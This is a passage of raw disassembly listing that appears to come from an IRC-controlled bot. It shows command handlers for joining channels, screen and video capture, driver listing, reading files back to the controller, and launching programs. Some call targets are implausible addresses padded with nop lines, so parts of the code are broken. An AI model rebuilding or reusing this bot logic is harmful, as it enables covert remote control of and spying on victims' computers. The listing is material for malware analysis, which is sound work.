		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
		jz	short loc_412D44
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_412D4A
; ---------------------------------------------------------------------------


loc_412D44:				; CODE XREF: sub_40EE72+3EBCj
		mov	[ebp+var_570], ebx


loc_412D4A:				; CODE XREF: sub_40EE72+3ED0j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_412D64
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412D6A
; ---------------------------------------------------------------------------


loc_412D64:				; CODE XREF: sub_40EE72+3EE1j
		mov	[ebp+var_574], ebx


loc_412D6A:				; CODE XREF: sub_40EE72+3EF0j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset unk_430FF8
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	17h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412E18


loc_412E02:				; CODE XREF: sub_40EE72+3FA4j
		cmp	[ebp+var_560], ebx
		jnz	loc_413A62
		push	32h
		call	near ptr 2620494h
		nop
		jmp	short loc_412E02
; ---------------------------------------------------------------------------


loc_412E18:				; CODE XREF: sub_40EE72+3F8Ej
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_430FAC
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412E29:				; CODE XREF: sub_40EE72+3E4Ej
		push	offset unk_430F58
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_412E33:				; CODE XREF: sub_40EE72+251Bj
					; sub_40EE72+2532j
		push	[ebp+var_90]
		push	offset dword_432D74
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_430F48
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		push	edi
		call	sub_41781F
		add	esp, 28h
		test	eax, eax
		jle	short loc_412EBC
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2620494h


loc_412EBC:				; CODE XREF: sub_40EE72+4034j
		push	offset dword_430F24
		call	sub_40BF6D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_412ED0:				; CODE XREF: sub_40EE72+24EDj
					; sub_40EE72+2504j
		push	[ebp+var_90]
		push	offset dword_432D74
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_412F8F
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_430F48
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10


loc_412F4E:				; DATA XREF: ___:off_42DE40o
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_430EF4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	edi
		call	sub_41781F
		add	esp, 14h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_412F8F:				; CODE XREF: sub_40EE72+40A3j
		push	offset dword_430EB0
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412F99:				; CODE XREF: sub_40EE72+24BFj
					; sub_40EE72+24D6j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430EA8
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h


loc_412FB6:				; CODE XREF: sub_40EE72+41AEj
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47


loc_412FD0:				; CODE XREF: sub_40EE72+4CBBj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633


loc_412FF4:				; CODE XREF: sub_40EE72+4469j
					; sub_40EE72+5D44j
		add	esp, 0Ch
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_412FFC:				; CODE XREF: sub_40EE72+2491j
					; sub_40EE72+24A8j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		push	offset dword_430E9C
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 14h
		jmp	short loc_412FB6
; ---------------------------------------------------------------------------


loc_413022:				; CODE XREF: sub_40EE72+2463j
					; sub_40EE72+247Aj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430E94
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_430E68
		jmp	loc_4132D6
; ---------------------------------------------------------------------------


loc_41308E:				; CODE XREF: sub_40EE72+2435j
					; sub_40EE72+244Cj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4130BF
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_430E60
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4130BF:				; CODE XREF: sub_40EE72+4236j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_430E34
		jmp	loc_4132D6
; ---------------------------------------------------------------------------


loc_413113:				; CODE XREF: sub_40EE72+2407j
					; sub_40EE72+241Ej
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	esi
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_430E08
		jmp	loc_4132D6
; ---------------------------------------------------------------------------


loc_413181:				; CODE XREF: sub_40EE72+23D9j
					; sub_40EE72+23F0j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_430DD0
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_4131BB:				; CODE XREF: sub_40EE72+23ABj
					; sub_40EE72+23C2j
		push	[ebp+var_90]
		push	offset dword_432D74
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	offset dword_430DC4
		push	[ebp+arg_4]
		call	sub_40D633
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2620494h
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_430DA0
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_413224:				; CODE XREF: sub_40EE72+237Dj
					; sub_40EE72+2394j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4315BC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		push	esi
		push	edi
		push	offset dword_430D74
		jmp	short loc_4132D6
; ---------------------------------------------------------------------------


loc_41328A:				; CODE XREF: sub_40EE72+234Fj
					; sub_40EE72+2366j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		push	esi
		push	edi
		push	offset dword_430D48


loc_4132D6:				; CODE XREF: sub_40EE72+4217j
					; sub_40EE72+429Cj ...
		call	sub_40BFE1
		jmp	loc_412FF4
; ---------------------------------------------------------------------------


loc_4132E0:				; CODE XREF: sub_40EE72+2321j
					; sub_40EE72+2338j
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		push	eax
		push	edi
		call	sub_40BE75
		pop	ecx
		pop	ecx
		push	edi
		push	offset dword_430D1C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_413312:				; CODE XREF: sub_40EE72+22E1j
					; sub_40EE72+22F8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F47
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_4133B6
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41339E
		push	esi
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_430F48
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	edi
		push	offset dword_430CE8
		push	eax
		call	sub_4172B0
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_414AC3
; ---------------------------------------------------------------------------


loc_41339E:				; CODE XREF: sub_40EE72+44D1j
		lea	eax, [ebp+var_2DC]
		push	offset dword_430CA8
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_414AC3
; ---------------------------------------------------------------------------


loc_4133B6:				; CODE XREF: sub_40EE72+44BCj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_430C80
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------


loc_413400:				; CODE XREF: sub_40EE72+22B3j
					; sub_40EE72+22CAj
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413463
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413450
		push	[ebp+esi+var_8C]
		call	sub_4085B3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_413449
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430C3C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_413463
; ---------------------------------------------------------------------------


loc_413449:				; CODE XREF: sub_40EE72+45B8j
		push	offset dword_430C00
		jmp	short loc_413455
; ---------------------------------------------------------------------------


loc_413450:				; CODE XREF: sub_40EE72+45A6j
		push	offset dword_430BB8


loc_413455:				; CODE XREF: sub_40EE72+45DCj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_413463:				; CODE XREF: sub_40EE72+459Dj
					; sub_40EE72+45D5j
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4134FA
		mov	[ebp+arg_0], ebx


loc_41347B:				; CODE XREF: sub_40EE72+4673j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADC8
		test	eax, eax
		jz	short loc_4134DE
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+arg_0]
		push	offset dword_430B7C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h


loc_4134DE:				; CODE XREF: sub_40EE72+462Cj
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 0Ah
		jl	short loc_41347B
		lea	eax, [ebp+var_2DC]
		push	offset dword_430B48
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4134FA:				; CODE XREF: sub_40EE72+4600j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4135A0
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_41358D
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_41358D
		push	eax
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_4087EE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413586
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430B04
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_4135A0
; ---------------------------------------------------------------------------


loc_413586:				; CODE XREF: sub_40EE72+46F5j
		push	offset dword_430AC0
		jmp	short loc_413592
; ---------------------------------------------------------------------------


loc_41358D:				; CODE XREF: sub_40EE72+46A4j
					; sub_40EE72+46ADj ...
		push	offset dword_430A78


loc_413592:				; CODE XREF: sub_40EE72+4719j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4135A0:				; CODE XREF: sub_40EE72+4697j
					; sub_40EE72+4712j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413A62
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_413639
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_413639
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_413639
		push	esi
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_4089E7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41362F
		push	[ebp+arg_18]
		push	offset dword_430A34
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_41362F:				; CODE XREF: sub_40EE72+47AEj
		push	offset dword_4309E4
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413639:				; CODE XREF: sub_40EE72+474Fj
					; sub_40EE72+475Dj ...
		push	offset dword_430998
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413643:				; CODE XREF: sub_40EE72+1CF0j
					; sub_40EE72+1D07j
		push	offset aR	; "r"
		push	edi
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4136BE
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 0Ch


loc_41366C:				; CODE XREF: sub_40EE72+4829j
		test	eax, eax
		jz	short loc_41369D
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 20h
		jmp	short loc_41366C
; ---------------------------------------------------------------------------


loc_41369D:				; CODE XREF: sub_40EE72+47FCj
		push	esi
		call	sub_417900
		pop	ecx
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_430964
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4110FD
; ---------------------------------------------------------------------------


loc_4136BE:				; CODE XREF: sub_40EE72+47E2j
		push	edi
		push	offset dword_430934
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4136C9:				; CODE XREF: sub_40EE72+1CC2j
					; sub_40EE72+1CD9j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	offset asc_42A660 ; "\n"
		push	esi
		call	sub_4179D0
		push	esi
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_413709
		push	offset dword_4308F8
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413709:				; CODE XREF: sub_40EE72+488Bj
		push	esi
		push	offset dword_4308D0
		jmp	loc_414AB4
; ---------------------------------------------------------------------------


loc_413714:				; CODE XREF: sub_40EE72+1C94j
					; sub_40EE72+1CABj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		jnz	short loc_413745
		push	offset unk_4308A4
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413745:				; CODE XREF: sub_40EE72+48C7j
		push	offset dword_430878
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_41374F:				; CODE XREF: sub_40EE72+1C66j
					; sub_40EE72+1C7Dj
		push	7Fh
		lea	eax, [ebp+var_6EC]
		push	edi
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_41377E
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_41377E:				; CODE XREF: sub_40EE72+48F8j
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_430850
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	15h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40BC4B
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_41381F


loc_413809:				; CODE XREF: sub_40EE72+49ABj
		cmp	[ebp+var_560], ebx
		jnz	loc_414AC3
		push	32h
		call	near ptr 2620494h
		nop
		jmp	short loc_413809
; ---------------------------------------------------------------------------


loc_41381F:				; CODE XREF: sub_40EE72+4995j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_430804
		jmp	loc_414AB4
; ---------------------------------------------------------------------------


loc_413830:				; CODE XREF: sub_40EE72+1C38j
					; sub_40EE72+1C4Fj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_406387
		add	esp, 10h
		push	edi
		push	offset dword_4307E0
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_41384E:				; CODE XREF: sub_40EE72+1C0Aj
					; sub_40EE72+1C21j
		push	14h
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_6F4]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4307AC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C512
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_413927


loc_413911:				; CODE XREF: sub_40EE72+4AB3j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_413911
; ---------------------------------------------------------------------------


loc_413927:				; CODE XREF: sub_40EE72+4A9Dj
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset dword_432C7C
		jmp	loc_414E02
; ---------------------------------------------------------------------------


loc_413938:				; CODE XREF: sub_40EE72+1BDCj
					; sub_40EE72+1BF3j
		push	edi
		nop
		call	near ptr 27D0C40h
		test	eax, eax
		jz	short loc_413962
		push	edi
		push	offset dword_430780
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_4110DC
; ---------------------------------------------------------------------------


loc_413962:				; CODE XREF: sub_40EE72+4ACFj
		push	offset dword_431128
		call	sub_40AA35
		pop	ecx
		push	eax
		jmp	loc_414564
; ---------------------------------------------------------------------------


loc_413973:				; CODE XREF: sub_40EE72+1BAEj
					; sub_40EE72+1BC5j
		push	edi
		call	sub_41781F
		push	eax
		call	sub_415419
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_413990
		push	offset unk_430748
		jmp	short loc_413995
; ---------------------------------------------------------------------------


loc_413990:				; CODE XREF: sub_40EE72+4B15j
		push	offset unk_430704


loc_413995:				; CODE XREF: sub_40EE72+4B1Cj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411100
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_411100
; ---------------------------------------------------------------------------


loc_4139CE:				; CODE XREF: sub_40EE72+1B80j
					; sub_40EE72+1B97j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_41518A
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4139F0
		push	offset unk_4306D0
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4139F0:				; CODE XREF: sub_40EE72+4B72j
		push	offset unk_430690
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4139FA:				; CODE XREF: sub_40EE72+1B52j
					; sub_40EE72+1B69j
		push	edi
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_413A34
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43AD50
		cmp	eax, ebx
		jz	short loc_413A4F
		push	dword ptr [eax]


loc_413A1D:				; CODE XREF: sub_40EE72+4BDBj
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_430664
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_413A62
; ---------------------------------------------------------------------------


loc_413A34:				; CODE XREF: sub_40EE72+4B95j
		push	edi
		call	dword_43AE1C
		cmp	eax, ebx
		jz	short loc_413A4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43AE24
		push	eax
		jmp	short loc_413A1D
; ---------------------------------------------------------------------------


loc_413A4F:				; CODE XREF: sub_40EE72+4BA7j
					; sub_40EE72+4BCBj
		push	offset dword_43062C


loc_413A54:				; CODE XREF: sub_40EE72+3E2Dj
					; sub_40EE72+3FBCj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_413A62:				; CODE XREF: sub_40EE72+2A25j
					; sub_40EE72+3B35j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414AC3
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------


loc_413A8C:				; CODE XREF: sub_40EE72+1B24j
					; sub_40EE72+1B3Bj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_418C10
		add	esp, 0Ch
		push	edi
		push	offset dword_4305F8
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_413AA5:				; CODE XREF: sub_40EE72+1AF6j
					; sub_40EE72+1B0Dj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43AD0C
		test	eax, eax
		push	edi
		jz	short loc_413AC5
		push	offset unk_4305BC
		jmp	loc_4110B1
